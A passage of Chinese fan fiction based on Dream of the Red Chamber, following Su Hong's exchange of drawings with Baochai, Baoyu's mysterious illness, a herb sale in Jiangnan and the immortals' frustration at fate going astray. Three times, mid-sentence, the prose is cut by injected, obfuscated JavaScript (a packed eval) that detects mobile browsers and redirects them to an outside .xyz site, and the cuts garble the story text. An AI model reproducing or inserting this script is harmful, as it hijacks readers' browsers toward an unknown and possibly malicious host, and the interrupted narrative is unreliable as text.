苏鸿一看纪花明的神色就知道他想歪了，搁下笔正色道：“时机不对罢了。我们初定婚时正值岳父大人新丧，后来出了孝，又被旁的事绊住了。我们两家极好，岂会有变动。” 明面上的原因便是如此，尤其先前朝廷下诏征选才能，朝廷并未阅看，那些仕宦名家又怎敢给女儿定亲。至于其他的，也许是薛太太和母亲的默契，让宝钗自自在在享受几年闺阁时光。 时下，一旦在官府过了聘书，便是板上钉钉的未婚夫妻了。不单此二人要避嫌，女方在未来婆母面前亦是不自在。若不常相见也就罢了，母亲和薛太太又极好，几日就要小聚一次，何必如此折腾宝钗。 思及贾府，史太君迟迟不为黛玉做主定下婚事，约么也有这样的原因。可惜黛玉之病，世上竟无药可医。但凡她身体健康些，史太君和王夫人也能早下决断，不至于摇摆不定。 32. 画 纪花明闻言，想到以苏鸿的才学人品尚公主都绰绰有余，便也不再乱想。只是他年纪不小，亦想早日登科，成家立业。他心中对未来的妻子也有许多幻想，只觉她是个顶顶温柔的姑娘就好。 苏鸿见他不知想些什么，露着一口白牙笑嘻嘻的，一时有些嫌弃。初见这位师兄，还以为他是什么严肃、威严的角色，谁知道相处久了就露出马脚，竟也是天性活泼爱说爱笑的主儿。 他定定心神，一手研墨，一边想着写些什么。不料纪花明兴致勃勃开口道：“既然你有未婚妻，想必和你大舅子关系也不错。不如也给你大舅子写信，顺带捎带些玩意儿送过去？” 苏鸿一怔，闻言有些犹豫道：“会不会不太好？” 一则男女大防，二则……他也担忧自己贸然寄信唐突宝钗。 纪花明翻身跳下小榻，捏着下巴仔细思考片刻后一本正经说道：“这有什么，你只管把东西送给你大舅子。难道你大舅子是傻的，连送给姑娘家的玩意儿都看不出来？我之前听宋师弟说起过，他未婚时就给他娘子寄过许多书信，两个人婚后很是和睦恩爱。” 苏鸿被说动了，见纪花明一副见多识广的模样，连忙虚心求教道：“可是她不爱寻常姑娘家喜欢的，虽出身富贵，浑身上下却不见半点奢华，崇尚简朴。我思前想后，也不知她爱什么。” 纪花明翻了个白眼，冷笑道：“你什么也不送，就永远不知道人家喜欢什么。既不爱富丽闲妆，那崇尚简朴的男人喜欢什么，你就照着送，何苦拘泥于闺阁？” 苏鸿闻言便觉茅塞顿开，连忙起身团团作揖，喜得亲自给纪花明倒茶。纪花明得意一笑，自觉抓住了苏鸿的弱点，将自己曾听来的各位师兄的爱情故事杂糅一番，说得头头是道。 苏鸿听了频频点头，心中暗暗思忖：虽说有男女大防，但各地风气不一。如京城，府中女眷除了去寺庙、道观祈福，甚少有出门的机会。但在江南，凡是有美景的地方都能看到官宦女眷带着帷帽出现，结社、出书亦不在话下。 他自不会傻到按着江南风气去追求宝钗，这不仅会触怒宝钗，还会陷她于不义。但若是有礼有节，想必伯母和呆师弟不会阻拦。因而待纪花明离开后，他便速速写了家书，又重新铺纸研墨，只是笔尖悬在纸上，迟迟不肯下笔。 思忖片刻，他才落笔，只是却并非书信，而是一幅洒扫图。他画技一般，只将校舍画了个大致的模样，他与一干师兄弟或踮脚拂尘、或屈身铺床，连书桌一角的小菇也画上了。 画完之后，他才另换信纸，仅写道：贤兄亲启。鸿已抵达书院，与众师兄洒扫，甚安。一别月余，都中安否？谨付寸心，希垂尺素，灯下顿首。 他捧着信纸再三查验，见并无错漏，方才吹干墨迹，与画一同装进信封。第二日一早，他便亲自去邮驿将两封家书一同送出，虽花了不少银钱，却莫名觉得心情十分舒畅。 且说苏鸿在书院日夜苦读，却不知都中荣国府已经因宝玉、凤姐无故生病闹得人仰马翻。这病来得凶猛古怪，短短三日，宝玉凤姐叔嫂二人便奄奄一息，俨然流露出下世的光景。 贾赦与贾政兄弟二人见贾母哀痛欲绝，全家上下动荡不安，都大不自在。只是家里家外都指望他们理事，虽没什么底气，却也不敢对外表现，只强忍不安。贾政见百般医治、符水僧道均不见效，已然心灰大半。 儿女命数皆由天定，人力岂可强求。他膝下三子二女，长女入宫，虽得富贵荣华，却不得见面。长子早夭，虽是聪慧仁孝，却天人永隔。如今，竟轮到他的次子了……礼记有云，国之将亡，必有妖孽。荣国府乃钟鸣鼎盛之家，素有气运，如今族中子弟却被邪祟所扰，实是让他心惊。 贾赦闻言，虽不解贾政为何如此薄情，却也不理这话，仍是寻僧觅道，百般忙乱。他平素虽不大喜欢这个弟弟，但亦是血浓于水的亲伯侄、亲公媳，自无撂下不管的道理。只是并无效验，宝玉、凤姐二人越发连气息也要断了。 贾母、王夫人、贾琏等自是守着二人痛哭。宝钗、黛玉等姊妹几个因王夫人上房内人口杂乱，不便到前头，亦聚于稻香村中，或对坐流泪，或祈佛求仙，或默默无言，十分担忧。 宝钗听哥哥说姨爹已经命人做了棺材、衣履预备后事，又见黛玉在旁用帕子拭泪，三春姊妹也在蒲团上默念。一月前他们还欢欢喜喜搬进大观园中，众人一起游园作乐，观花赏鱼，转瞬却又如此景象，宝钗只觉滋味难明。 及至第四日晚间，众姊妹听说宝玉、凤姐二人竟渐渐醒了，能吃些米汤，一时各个欢喜。黛玉更是多日悬心，心里不住求神拜佛，听到这个好消息竟是脱口念道：“阿弥陀佛。” 宝钗闻言看她半日，心中忽而串联起大大小小的事，方隐约察觉黛玉、宝玉之情似是并非寻常姊妹情分。她有些惊异，但想到二人素日亲厚非常人可比，嘲笑喜怒无常，便觉有七八分准，不免笑出声来。 众人不解，宝玉和凤姐姐好转虽是好事，值得一笑，但宝钗发笑却不似只为这个。宝钗方笑吟吟调侃道：“今儿宝玉和二姐姐才好些，如来佛又要忙着管林姑娘的姻缘了。” 众人听此玩笑话不由想起数日前凤姐之语，尽皆发笑。见黛玉红着脸摔帘子溜走，更是乐不可支。想到二人已经好转，听得前头男人们都散了，便又忙约着黛玉一同前去探望。 待宝钗看过宝玉、凤姐后，方有空回蘅芜苑休息。只是一进屋，就见桌上压着一封书信，不由奇道：“是谁送来的？” 她身处闺阁，一干亲戚姊妹都在贾府，哪里有人给她写信。 文杏笑道：“是大爷身边的人送来的，说是封家书，叫姑娘也瞧瞧。姑娘和莺儿姐姐出去了，我便接下来了。” 宝钗闻言点头一笑，上前将镇纸挪开，只见是一封已被打开的家书。抬手一摸，她便觉似是有些厚了，便一蹲身坐在绣墩儿上，借着烛光将里面的纸张取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285836|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出。展开信纸看去，却见短短几行字，只观字迹便知是谁书写，不由面上微红。 先前她仍在梨香院时，哥哥也曾拿着苏鸿的信来问她典故，言辞平和亲密，只以师兄弟相称。便是落在纸面上，苏鸿也甚少用敬辞，肆意自在，全不似今日这封书信——像是被夺舍了一样透着敬意。 虽是给哥哥写的信，但宝钗却知并非如此。他不知用了什么法子，竟让哥哥将信交予她，连母亲也未必知道。她心中复杂，有些犹豫是否要打开另一张信纸。 她斟酌片刻，才将另一张纸展开，竟是画着一幅洒扫校舍图，出自谁手自不必说。寥寥几笔便勾勒出他们洒扫校舍的自在闲适，自得其乐，尤其桌角和墙角竟画了几朵小菇，更是让画作灵动非凡。 宝钗松了口气，却觉这方是苏鸿风格，不似古今小说中轻浮浪子所为。烛光下，她又将画作捧在手上细看，见苏鸿画景倒是不错，画人物似是欠缺了些。她抿唇笑着，将它们重新装回信封，珍而重之收在匣子里。 莺儿见了也未曾多想，连忙服侍宝钗洗漱，为她拆解发髻，只用一根银绸带将头发拢在身后。只是宝钗却不曾去睡，只坐在绣墩儿上静静梳着发尾，观其神色，却不知是在想着什么，唇角微微含笑。 半晌，她才想起什么，问道：“我记得先前收拾过一箱子画具，怎么忘了放在哪儿了？” 莺儿奇道：“姑娘去年入冬时才说这东西天冷了不好拿出来用，叫收起来的，怎么忘了？”她见宝钗神思不属，又笑道：“是在太太那里收着，不曾带进园来。正巧春天快过了，不如明儿我取进来。” 宝钗面上微微发红，点头笑着答应。见莺儿神色促狭，便也不再多言，连忙上床休息。莺儿熄了蜡烛，躺在宝钗身侧悄悄笑道：“姑娘在想什么，怎么连自己吩咐过的事都忘了？” 宝钗无话可答，面上滚烫，幸而不曾被人看见。 只是幽幽深宫之中，有一处却仍旧灯火通明。皇帝披衣坐在窗前，蹙眉问道：“那个贾宝玉怎么回事，不是说忽然得了急病，怎么又活过来了？” 听说贾宝玉落草时就带了一块儿玉，竟是十分难得的美玉，还有除邪祟、疗冤疾、知祸福的功效。外头人传得神乎其神，连史太君还怕他压不住，特意散了钱命外头人喊宝玉的小名。 他们皇室宗亲倒是不在意这些说法。古往今来，多少人为了出人头地，编出各类神话传说，牵强附会。即便是真的，一个好在脂粉堆里混迹的浪荡公子哥，性格怪癖乖张，又能有什么大出息。 虽不在意，但他绝不许有不在他掌控范围的事发生。那些僧道稀奇古怪，有玄妙变化之术，便是不敢冲着他使，他也心生警惕戒备。 身后的大太监忙躬身道：“主子爷，这几天贾家并一干亲戚，找了不少符水、僧道，都不见效，贾主事连棺材都预备下了。只是今日早间，贾家人虽在内院，却听见一僧一道说他们善能医治，十分奇异。” 33. 回信 大太监见皇帝问起，连忙将今日打听来的事一一说了，连贾家人如何哭、如何喜、那僧人和道人的话语都说得一清二楚。他心中也是啧啧称奇，从没见过这样奇妙的事，那一僧一道可真是神了。只可惜他们出了荣府就找不到踪迹，不然他也要请上门来为自己看看。 皇帝闻言，垂头思忖片刻，冷笑道：“粉渍脂痕污宝光……看来也确实没什么能为。” 只是想到宁、荣二公侍奉太祖皇帝逐鹿天下有功，声势煊赫些也就罢了，如今贾家子孙寸功未立，又到处张罗穿插人脉，上蹿下跳，不觉有些厌烦。可思及元春侍奉尚算得力，皇帝便也不再介怀。 大太监闻言，面上不动声色，心中却不由再次掂量下贾家的分量。眼下主子爷虽不理论，心里到底有些成见。只是如今贾贵妃在后宫也算风头正盛，极为受宠，未来如何倒也不好说。 他心中有了计较，笑着岔开话题道：“说来，昨儿在荣府的人来报，说薛家似是要与翰林院苏侍读家结亲，两家来往很是密切。奴才又派人去查，却不见官府的聘书。” 皇帝闻言问道：“苏家？是出了金陵解元的苏家？他们怎会到一处？” 朝堂上尽皆是太上皇的老臣，他轻易指挥不动，何况太上皇动辄就要骂他不通政事，越发没了威信。他苦于手下无人，对各省秋闱中举的贤才能人都有所关注。虽说春闱时得了几个尚且忠心的，但因为时间尚短，还需多加培养。 因而，苏鸿作为年纪尚小的金陵解元，自然而然便入了他的视线。他先前在太学时与他有一面之缘，生得面如冠玉，又举止文雅，谈吐有致。若无伤仲永之事，必也是难得的人才。 何况苏家又家世清白，除了和赵侍郎家是姻亲外，人脉并不复杂。苏鸿如此年轻，等他入朝为官，能为他做事时，说句大不敬的话，太上皇还不知道活着与否，培养一番就是他的得力助手。 此时听闻他竟与薛家纠缠到一起，皇帝对苏鸿的印象不由落了一成。虽说薛家祖上亦然有功，即便臣子间联络有亲实属常事，但他行动间受太上皇、老臣阻碍已经太多了。如今再看臣子们拉帮结派，他只觉得胸中恼怒。 大太监便笑道：“奴才听说，苏侍读前些年扶灵归乡时，不幸遇到劫匪，险些被灭门。幸好先薛老爷路过，救下他们家。那苏鸿颇为仁孝，小小年纪便替母亲挡箭，这才得了薛老爷的赏识。依奴才看，如此仁孝聪慧之人，必是逢此昌明盛世，受主子爷感召才得以降生。” 薛家与苏家交好，早让京中官宦十分惊奇。清流看到，觉得苏家是攀附富贵，不知廉耻；勋贵看到，倒觉得薛家没了主事人，越发衰落，连微末小官也肯与之结交。只是苏侍读又无意间透出口风，说薛家有恩于苏家。苏侍读也不曾升官发财，渐渐的才没人说什么。 他与薛蟠倒是没什么交情，只是这呆子别的没有，兜里的钱倒是不少。难得又知情识趣，隔三差五便孝敬他。如此，说两句好话倒也无妨。正巧皇帝因京中出了镇魇之事心中不快，说几句吉祥话也可让皇帝心情好转。 皇帝听说竟还有此前因，对苏家的恼怒便也散了。又听大太监一番夸赞，心中大悦。又命他细细说了京中各家官宦秘事，见并无异动，才放心休息。 第二日一早，宝钗梳洗后便带着莺儿一同去薛太太处请安，又命莺儿将昔日收起来的画具找出来。薛太太闻言，笑着搂住宝钗道：“昨儿我听你哥哥说，鸿哥儿写给他的信他看不大懂，我叫他请教你去。” 宝钗早猜到此事，垂头绕着衣带，伏在薛太太怀里笑道：“不过是个难些的典故并一幅画儿。都说苏哥哥文才武略无一不精，我瞧着苏哥哥的画技倒是一般。” 说着便自袖中将昨日收到的信取出，薛太太一手搂着宝钗，一手展开信纸，见苏鸿知道分寸才放心。这些日子姐姐为着宝玉和凤丫头着急上火，险些哭晕过去，她也急得脑子都混了。 昨儿蟠儿来问，她也没当回事便应允了。晚间才想起来，他们兄妹二人有什么不懂的直接便问了，何必要特意告知自己。虽说知道苏鸿和宝钗是有分寸的，却也放心不下，夜里也不曾好睡， 她便笑着又递给宝钗，说道：“我瞧着倒是好。宝玉和凤丫头这一遭，实在蹊跷，过两日我着人求了平安符，也给鸿哥儿送去。他孤身在外，一个人孤苦伶仃的，也是可怜。” 宝钗默默点头，薛太太又叮嘱几句，见莺儿把画具翻出来也只是一笑。宝钗便让莺儿将画具先送回蘅芜苑，她则带着文杏等人去寻姊妹们，一同给王夫人、老太太等请安。 因她心中存着事，姊妹们这几日也累极了，所以并未和姊妹们多坐，早早便回了蘅芜苑。莺儿见她回来，连忙放下手里打的络子，迎上去笑道：“姑娘怎么早早回来了？我已将画具都拾掇好了，姑娘瞧瞧？” 宝钗抿唇一笑，见果然已经收拾妥当，便亲自铺纸研墨。莺儿见宝钗用不着自己，便蹲身坐在墩子上打络子。姑娘才得了新折扇，是得打几根络子穿在扇子上做装饰。 宝钗想了许久也不曾下笔，微微出神。方才姨妈和她们姊妹说话，便提及宝玉和凤姐姐是被癞头和尚、跛足道人所救。二人疯疯癫癫，说什么青梗峰，又是“沉酣一梦终须醒，冤孽偿清好散场”等疯话。 她知道自己的金锁是癞头和尚所给，也听过黛玉曾被什么癞头和尚劝解出家，甚至连英莲，也险些被癞头和尚、跛足道人度化出家。虽天下多得是癞头的和尚、跛足的道人，但她的直觉告诉她，他们确确实实是同一人。 他们出现得太过频繁，让宝钗有些心惊。她只觉似有一张大网在半空中张开，牢牢锁住，让她们连喘息之机都没有。连她的命运，也似是被早早定下，不断有人拉着她向既定的命运走去。 宝钗起身行至窗边，见外头仍是一片明媚阳光，想到远在江南的苏鸿，心情不由好转。管他什么和尚道士的，她不乐意，难道还能越过母亲和哥哥绑着她嫁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285837|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给宝玉不成？何况母亲和哥哥又并非蠢人，为了和尚道士的话就不顾她的想法。 她定定心神，想到宝玉和凤姐姐近日状况，便提笔画上一幅春日游乐纸鸢图。上头并无人物，只有园中亭台楼阁之景，以及已经被绞断线、晃悠悠向天上飞去的纸鸢。时下已是暮春，纸鸢正好祛除凶殃，通神送晦，聊表她关心之意。 宝钗画完，抬手用折扇微微扇着，待墨迹干了才折起来。不过三两日，薛太太便带来了命人求得的平安符，恭恭敬敬在佛前供了，方拿给薛蟠，要他寄给苏鸿。 薛蟠见她们母女俩使唤自己如此顺手，只好给苏鸿回信，将近日荣府发生之事写明，也免得苏鸿收到画和平安符摸不着头脑。又零零碎碎写了许多杂事，末了才写家中一切安好，要苏鸿无需挂念。 且说苏鸿收到来自薛蟠的书信后，十分惊喜。尤其见薛蟠所言宝玉、王熙凤无故受难一事，薛太太和宝钗都送了赐福消灾之物，便也察觉到宝钗画作下的关切挂念。 他原以为宝钗不会回信，或者只会借薛蟠之口叮嘱两句，没想到她竟会回赠画作。苏鸿为这份意外感到惊喜，在窗前细细欣赏，见宝钗之画比之自己更见笔力，不由深为钦佩。 他虽在宝钗指导惜春作画时，猜到宝钗善画，只是没想到会如此好。不由更为认同神仙所言，闺阁中本自历历有人，比家中男子强出十辈——不说别的，若宝钗能照管薛家家产，只怕薛家早就有中兴之意了。 他一面喜，一面叹，心中滋味难明，倒把来寻他的纪花明吓了一跳。他推门进来，就瞧见苏鸿在窗前一会儿笑一会儿愁，连他进来都不曾发现，就知晓定是那位素未谋面的未婚妻给他回信了。 他款款坐下，扬眉笑道：“好师弟，快回神了。你若再这样，我就得叫师父替你驱魔驱鬼了。” 苏鸿方回过神，见是纪花明，便笑道：“你去了，管叫师父拿棍子打回来，师父和外头的道士岂是一样的？” 他师父也是个奇人，进士出身却辞官不受，跑到书院里做山长。明明是再正经不过的儒士，却又好道，日日守着丹炉。若说他信道，却也从不吃自己炼制的金丹，偶尔炼制一些药丹，倒是对外伤颇有奇效。 纪花明哼笑一声，说道：“你也是赶上好时候了，你没来之前，师父亲自举着大棒子打我。也就现在脾气好些，连我也不打了。不过瞧你这样高兴，我说的法子有用吗？” 他一面说着，心中也难掩好奇。他虽在游玩、逛街时见过不少姑娘家，但有男女大防，他自然不敢上前攀谈。他长这么大，除了自家姊妹，从没跟旁的年轻姑娘说过话，只听其他师兄弟说起过夫妻相处而已。 他那日撺掇着苏鸿给他未婚妻写信，如今既好奇结果，也是心虚自己好心办了坏事。苏鸿定定看了纪花明一眼，见他眼神闪躲，有些不自信，掌不住笑了。只是他也不愿分享宝钗的画作，便笑道：“还没谢过师兄高义，我大舅子已经代我转达了。” 34.卖花 纪花明见他不肯说，便也不问，只笑道：“我还有一件事，说出来，你怕是得谢我两回了。也不知道你这铁公鸡肯不肯拔毛，好好酬谢我。” 苏鸿摆手笑道：“师兄只管说，若果真是好事……师弟别的没有，请师兄吃酒的钱还是有的。便是没钱，就容师弟先欠着吧，以后帮着师兄出出主意，让师兄封侯拜相，怎么样？” 纪花明翻了个白眼，拉长声音道：“你就会拿以后支吾我，天天画大饼，也不知道像我这样上当受骗的还有几个。” 见苏鸿笑了，他方正色道：“跟你说正事，你上次托我寻靠谱的香草铺子，我已经寻到了，是我一个远亲开的。他也是读书人，只是学问平平，未能中举，为人倒是很公道。” 苏鸿便笑道：“那就多谢你了。那些贵价香草香料只有在江南这样富庶之地才能卖得上价，虽运过来要些运费，但仍比京城有得赚。我特意与我母亲说了，母亲也想试试。” 纪花明并不曾起疑，苏家虽是官宦之家，但纵观江南省，哪个乡绅地主家没有置办铺子买卖的。真指望朝廷那点俸禄，又要维持官宦人家的体面，早就饿死了。 何况比起京城，香草香料在江南省确实更紧俏些。 他见苏鸿颇感兴趣，便笑道：“择日不如撞日，咱们现在就过去。他家的铺子叫恒香坊，是本府最大的，你只一看便知道了。不独贩卖脂膏香粉香料，自己也有露房，能做各色香露。你的东西若是上好的，他绝不坑你。” 苏鸿闻言，想到须弥宝戒中收获的香草鲜花，其香气或是清雅或是浓郁，色泽均匀，花瓣厚实。不是他说狂话，整个江南省也未必能寻到比这还好的了。 他便笑道：“师兄只管放心，若是寻常的东西，我也犯不着千里迢迢到这里给它找伯乐了。” 说着从箱子里翻出一个带锁的木匣，里头盛着各色晒干的香草花瓣，沁出点点香气。 纪花明素知苏鸿靠谱，便也不再多说，招呼苏鸿上马。不多时，便从大道上拐到长明街。一进去，就有一阵香风扑面而来。苏鸿不防打了个喷嚏，嗅着空气中的各色香气，怔怔道：“这香气太浓了。” 纪花明见他掩住口鼻，笑道：“连这点香气你都闻不得，以后娶了娘子可怎么办？” 苏鸿想起宝钗身上凉森森甜丝丝的幽香，暗道他娘子才不熏香。他只笑道：“香气太浓了，一时不适应，倒是还好。只是我看这整条街都卖香粉香料，原先竟不曾听过。” 纪花明瞥他一眼，在前面引路，说道：“你知道就有鬼了。你家女眷原不在这里，你也不爱熏香，何曾会找卖脂粉香料之地。就在前头，咱们直接到后院去。” 二人说着，便在恒香坊前下了马，店小二上来将马牵到后头，笑吟吟引他们上楼。纪老板正在盘账，见他们过来便连忙迎接，拱手笑道：“贤侄，前儿还听你说起，这位是苏解元吧？” 纪花明笑着为他二人引见，互相厮见过，三人才分了主宾坐下。 寒暄几句后，苏鸿便笑着将木匣推过去，说道：“这都是晒干的，请伯父过目。若是得用，我们家还有不少同品质的，叫他们运来就是。便是不得用也不妨事，叫他们仍在都中卖了就是，伯父无需顾虑。” 纪老板闻言，抬头一笑，暗道苏解元倒是个爽快人。只是他做着这样大的生意，自然少不了各处打点，又要一心扶持自家子弟。别管这些东西品质如何，花些银子就结交一位解元，是最划得来的。 何况苏解元和花明是同门师兄弟，他若不收，也落了花明的面子。只当舍了银钱维持关系，苏家若肯帮扶花明，也算他的银钱没有白费。 苏鸿看穿纪老板的想法，却不曾多言，只点了点匣子。他的各色香草、花瓣，虽说都是普通式样，没有特意培育过，但品质远超寻常市卖货。这样的品质，便是用来做贡品都绰绰有余。 纪老板见苏鸿不置可否，便笑着打开匣子，便有一股清雅的香气扑面而来。他随手捡出一个绢袋，打开就见里头的香草花瓣俱被晒干炮制过。花瓣肥厚、完整，色泽鲜艳，闻着并未用药熏过，品质极佳。其香气则清幽淡雅，余味悠长，其他的香草亦然如此。 他有些惊异地看了眼苏鸿，不敢相信京城竟能长出这样品质的香草鲜花。他一一动手将不同类的花瓣和香草分拣出来，放至鼻尖嗅闻，全都是带着天然的香气。 半晌，他便吩咐叫制露师傅过来看，又叹道：“苏贤侄，倒是我看低了你，你这东西都是上好的，只是怎么就找了这个破匣子装。香料串了味，好好的香气都变杂了。” 苏鸿虽自信能卖上价，心里却不踏实，此时听纪老板这样说才心情一松。他说道：“为了方便才随手抓了一把放进去，倒也没想到还有这一说。” 纪老板是爱香之人，闻言碎碎念道：“年轻人不知道珍惜东西，这样好的东西，制成香粉可惜了。就依原样制成香囊，或是制成上好的香露，才不辜负这样好的东西。若是……” 苏鸿闻言心中一动，他虽知宝钗素日不爱戴花，但做成香囊许是会喜欢。只是寻常香囊看不见里头塞的花瓣，不如用金子打个镂空的香囊，定是又清雅又好看。 还有香露，贾宝玉倒是喝过上用的玫瑰清露和木樨清露，他也可请老板做了，送给母亲、宝钗等尝尝。他空间里长出的粮食，父亲和母亲等吃了都觉得好，想必花儿制成香露也是不同凡响的。 制露师傅恰巧进来，他才止住话头，笑着招呼道：“快过来，我新得了些上好的香草香花，你瞧瞧。” 那师傅检查一番，寻了片玫瑰花瓣放进嘴里嚼了嚼。见老板的举人侄子也在，便猜到卖家应与老板家有旧，便也没有顾忌，直言赞好。 纪老板点头一笑，说道：“我们都是自己人，何况贤侄的东西实在好，我也不诓骗你。这些东西有多少收多少，玫瑰、月季、蔷薇等，三分银一两花，杜若、蘅芜、清葛等，更是难得，我收你四分银一两，如何？” 苏鸿垂头算了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292867|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算，与自己先前打听的价格相比，确实已经是数一数二的高价了。他空间中各色香花、香草等零零碎碎种了两亩，晒干了大约只有四百斤。 如此一算，卖一次花草也有250两银子——虽比豆腐坊赚得少了点，但他也不用怎么出力，撒下种子后只等收获就是。何况空间里不分四季，种下就能活，一年挣个四百两不是问题。等回头他在其他地上也种上花草，挣来的钱只会更多。 苏鸿便正色道：“东西虽好，也得有伯乐看中，纪老板如此定价甚好。既然如此，我这就写信告知家中，约有四百斤的香草香花，让他们寄过来。纪老板查验后，咱们一手交钱一手交货。” 纪老板笑着应允，连忙道：“今日这一遭，咱们也算熟识了。不如我做东，咱们三人好好喝一杯，权当庆贺我和苏小兄弟有缘相识。” 纪花明见交易成了，自觉帮了师弟一个大忙，心中十分喜悦，也劝苏鸿留下一同吃饭。苏鸿便拱手笑道：“那我便恭敬不如从命，还要先谢过伯父款待。只是听师兄说，恒香坊是本府最大最好的，我想给母亲和妹妹捎带些回去。” 他虽不了解，但他们家自不会跑到外头去采买胭脂水粉。先前他不曾想起来便罢，如今想起来，又与恒香坊东家结缘，正巧选些江南时兴的花样送回去。 纪老板闻言更是喜悦，却十分矜持地拍了拍纪花明的肩膀道：“你师兄私心里偏着我，当然觉得这里好。不过这里的种类，不敢说全江南，整个凤安府还没有比我这里更全的。贤侄，我引你下去瞧瞧。” 说着便要带苏鸿下去，只是外头守门的小厮连忙道：“老爷，府太爷的太太在下头呢。” 苏鸿隔着纱窗向下看去，见果然是位穿金戴银、一身金线锦衣的太太，只是头上戴着帷帽。他便笑道：“看来今日是不巧了。伯父赶着下去接待就是，咱们来日再聚不迟。” 地方不比京城，府太爷便是凤安府的父母官，当地百姓自是要捧着敬着的。男女大防虽有，但府太爷的太太到了店里，东家不出面接待只怕她会不高兴。 纪老板想到纪花明和苏鸿都不是外人，失陪也是事出有因，便连忙谢过他们，三两步下楼去迎官家太太。纪花明和苏鸿并不在意，下楼后却见门外停着七八辆马车，苏鸿便问道：“太爷府上有很多小姐不成，怎么这样多的马车？” 纪花明瞥了一眼马车，浑不在意道：“太爷膝下的两位小姐都已经许过人家了，这是太太带着侍妾一同出来游玩。他们家倒也奇了，妻妾和睦相处，在我们本地也算一段佳话。” 苏鸿回头看了眼，心里也啧啧称奇。世上自然有温柔敦厚的妻子，只是没有谁能面对挚爱丈夫的妾室而无动于衷。能对妾室这样好，一则这位太太本性宽厚，二则……恐怕她也没有多爱丈夫，亦或起初是爱的，只是逐渐被消磨了。 这也实属常事，可叹天下这样多的男人不懂得修身齐家，不懂得何为克己复礼。搜罗美女充实后院，却不知早已错失人间真情。 35.状元 苏鸿心中胡思乱想着，却也稳稳控住马匹。二人溜溜达达回了书院，用了晚膳就各自回房读书。苏鸿便端坐在书桌前，拿出师父给他圈点的文章逐句修改，待二更时分才将将修完。 他控制不住打了个哈欠，起身活动活动，方用帕子沾湿擦了擦脸，稍微恢复些精神。只是现下还不是休息的时候，他想到白日将空间里的香花香草卖了出去，日后又多了个进项，心里十分兴奋。 他一头扎进须弥宝戒中，兴致勃勃再次划分土地，预备再种上一亩鲜花——这次要买些更好的花种，卖出更高的价格。一边规划着，又见粮食熟了，连忙将镰刀取来，扎着裤腿弯腰下地。 不提苏鸿日日辛劳却觉未来可期，茫茫大士和渺渺真人复还本相，趺坐于青石上，却面带些许迷茫之色。 茫茫大士虽说名为茫茫，又是超脱的世外之人，心性洒脱非凡，却也头一次觉得自己修行还不到家。他叹道：“我往日感慨凡人痴愚，如今竟也应了你的好了歌，也尝了尝忙忙碌碌一场空的滋味。” 他先后试图度化甄英莲、林黛玉出家避祸，远离人间灾殃。意料之中，都不肯听他的。只是先有甄英莲跳出命运罗网，与家人骨肉团聚，如今不知为何，连绛珠仙子的身体也有不再恶化的趋势。此二人既定命运已改，左右不影响大局，倒也无妨。 毕竟这一场幻境是为神瑛侍者而造，须得神瑛侍者按原定命运历经富贵繁华至家亡人散，看穿一切功名利禄、富贵荣华皆是虚妄。唯有如此，才不负他下凡一趟。因而他特意为其安排了金玉良姻，为的是叫引路人促神瑛侍者开悟。 只是不知为何，他安排的金玉良姻也出现了波折。贾家不在意谶言就罢了，他明明将冷香丸的方子和药引一并给了薛家，论理是该相信他才对，谁知薛家竟也视他谶言于无物。 如今颗粒无收，让他都疑惑起这段时间究竟在忙碌什么。 渺渺真人闻言，冷笑道：“天道无常，薄命司之册不过是诸女子命运推演，并非全然映照实属常事。连我已度化过的甄士隐，被那苏鸿一招呼也返回人间了。他救下甄英莲，现今与薛宝钗有了姻缘，实是一大变数。” 他又道：“我曾与他打过照面，其携天地清正之气降生，身负大功德、大使命。无意中坏了神瑛侍者历劫一事，我们也不好怎样。先前叫月下老人再给薛、贾二人牵线，月下老人却说前番姻缘已解，不可再结，就打发我回来了。” 没了引路人，以神瑛侍者本性，究竟何时才能参悟也是个疑问。神瑛侍者历劫不顺，若警幻仙姑知道了只怕头疼不已，不知道该怎么办才好。 僧道二人想到他们为了让神瑛侍者历劫，阻碍绛珠仙子还泪报恩，一时有些心虚。但想到他们虽多事劝了绛珠仙子一回，好歹绛珠仙子还泪尚算顺利，便也不再多想，决心回太虚幻境禀告此事。 警幻仙姑日日繁忙，听得下界历劫之事竟有波折，这才忙开了天眼向下看。观察片刻，见贾宝玉之性情虽与初次见他时略有不同，大体却不曾变，贾家依然是气运衰败，这才放下心。 见僧道二人不安，她反笑道：“你们何须多事？贾家运数已定，神瑛侍者天性带有情痴之意，早晚也能了悟，顶多不过百年罢了。何况顿悟不过一瞬，静静等着就是。你们二人仙人，难道等不得几十年？” 